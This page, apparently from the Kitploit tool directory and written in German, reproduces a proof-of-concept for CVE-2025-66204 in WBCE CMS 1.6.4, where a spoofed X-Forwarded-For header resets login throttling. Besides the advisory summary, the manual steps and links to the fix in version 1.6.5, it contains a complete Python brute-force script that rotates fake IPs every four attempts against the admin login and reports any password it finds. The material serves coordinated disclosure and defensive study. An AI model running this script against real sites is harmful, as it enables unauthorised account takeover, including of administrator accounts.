Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-66204 — Proof-of-Concept für CVE-2025-66204: Umgehung des Brute-Force-Schutzes in WBCE CMS über manipulierten X-Forwarded-For-Header, mit automatisiertem Python-Exploit-Skript. | Kitploit
Tools/GitHubGitHub/lukasz-rybak/cve-2025-66204
SchwachstellenanalyseWebanwendungs-ExploitationPenetrationstestsAuthentifizierungPapers & ForschungLernen & Bildung
GitHublukasz-rybak/cve-2025-66204

CVE-2025-66204

Proof-of-Concept für CVE-2025-66204: Umgehung des Brute-Force-Schutzes in WBCE CMS über manipulierten X-Forwarded-For-Header, mit automatisiertem Python-Exploit-Skript.

Repository anzeigen
13vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-66204: WBCE CMS ermöglicht Umgehung des Brute-Force-Schutzes mittels X-Forwarded-For-Header

Überblick

FeldDetails
CVE-IDCVE-2025-66204
SchweregradMEDIUM
SicherheitshinweisSicherheitshinweis ansehen
Entdeckt vonLukasz Rybak

Betroffene Produkte

  • WBCE/WBCE_CMS

Details

Zusammenfassung

In WBCE CMS 1.6.4 existiert eine Umgehung des Brute-Force-Schutzes. Der Login-Throttling-Mechanismus blockiert eine IP-Adresse nach 5 fehlgeschlagenen Anmeldeversuchen. Allerdings vertraut die Anwendung dem X-Forwarded-For-Header vollständig, ohne ihn zu validieren oder seine Verwendung einzuschränken.

Durch die Änderung von X-Forwarded-For bei jeder Anfrage kann ein Angreifer den Zähler unbegrenzt zurücksetzen und unbegrenzt viele Passwortversuche durchführen, wodurch der gesamte Brute-Force-Schutz effektiv umgangen wird.

Details

WBCE CMS ermittelt die Client-IP anhand der folgenden Logik:

  1. Wenn die Anfrage den Header X-Forwarded-For enthält, vertraut die Anwendung dessen Wert blind.
  2. Andernfalls greift sie auf REMOTE_ADDR zurück.

Obwohl WBCE standardmäßig nicht hinter einem Reverse-Proxy läuft, parst der Login-Endpunkt X-Forwarded-For dennoch, sobald der Header vorhanden ist – auch wenn er manuell vom Client hinzugefügt wurde.

Da die Anwendung nicht überprüft, ob die Anfrage von einem vertrauenswürdigen Proxy stammt, kann ein Angreifer einen eigenen X-Forwarded-For-Header mit einer beliebigen IP-Adresse einfügen.

Dies führt dazu:

  • Der Angreifer sendet 5 ungültige Passwörter mit X-Forwarded-For: 10.0.0.1 → diese IP wird blockiert
  • Der Angreifer sendet die nächste Anfrage mit X-Forwarded-For: 10.0.0.2 → wird als völlig neue IP behandelt
  • Der Brute-Force-Schutz kann unbegrenzt umgangen werden

Dieses Verhalten ist auf einer sauberen Standardinstallation ohne Reverse-Proxy vor WBCE CMS reproduzierbar.

PoC

Schritte

Versuchen Sie, sich mit einem falschen Passwort anzumelden, und senden Sie den Header:

X-Forwarded-For: 10.0.0.10

Wiederholen, bis die Sperre eintritt (nach 5 Versuchen). Bild

Header ändern zu:

X-Forwarded-For: 10.0.0.11

Die Anmeldeversuche werden zurückgesetzt und wieder zugelassen. Bild

Rotieren Sie durch 10.0.0.x und führen Sie Brute-Force-Angriffe ohne Einschränkung durch.

Automatisiertes PoC-Skript

Ich habe ein Python-Skript erstellt, das den Angriff automatisch durchführt, alle vier Versuche die gespooften IPs rotiert und erfolgreiche Anmeldungen erkennt.

Bild ... Bild Bild

Dies beweist die vollständige Umgehung des Schutzes.

import requests

# ==========================
#  CONFIGURATION
# ==========================

TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"

# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"

WORDLIST = "wordlist.txt"

ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"

MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."

# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

session = requests.Session()
if USE_BURP:
    session.proxies.update(PROXIES)
    session.verify = False


# ==========================
#  LOGIN REQUEST
# ==========================

def try_login(ip, password):
    """Send one login attempt with spoofed X-Forwarded-For."""
    headers = {
        "X-Forwarded-For": ip,
        "User-Agent": "WBCE-Bruteforce-POC",
    }

    data = {
        USERNAME_META_FIELD: USERNAME_FIELDNAME,
        PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
        USERNAME_FIELDNAME: USERNAME,
        PASSWORD_FIELDNAME: password,
        "url": "",
        "submit": "Login",
    }

    resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
    text = resp.text

    failed = ERROR_STRING in text
    blocked = BLOCK_STRING in text
    success = not failed and not blocked

    return success, failed, blocked, resp


# ==========================
#  MAIN ROUTINE
# ==========================

def main():
    print("[*] Loading wordlist...")

    with open(WORDLIST, "r", encoding="utf-8") as f:
        passwords = [p.strip() for p in f if p.strip()]

    print(f"[*] Loaded {len(passwords)} passwords.\n")

    current_ip_counter = 1
    attempts_with_ip = 0

    for attempt_no, password in enumerate(passwords, start=1):
        ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
        success, failed, blocked, resp = try_login(ip, password)

        print(
            f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
            f"| failed={failed} blocked={blocked}"
        )

        if success:
            print("\n[+] SUCCESSFUL LOGIN!")
            print(f"    Username: {USERNAME}")
            print(f"    Password: {password}")
            print(f"    IP used : {ip}")
            return

        attempts_with_ip += 1

        # Switch spoofed IP after lockout threshold
        if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
            print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
            current_ip_counter += 1
            attempts_with_ip = 0

    print("\n[-] Password not found in wordlist.")


if __name__ == "__main__":
    main()

Auswirkungen

  1. Unbegrenztes Brute-Forcing beliebiger Konten;
  2. Mögliche Kompromittierung von Administratorkonten;
  3. Keine Durchsetzung von Rate-Limiting;

Referenzen

  • https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
  • https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
  • https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5

Haftungsausschluss

Diese CVE wurde unter Einhaltung koordinierter Offenlegungspraktiken verantwortungsvoll offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.

Tool herunterladen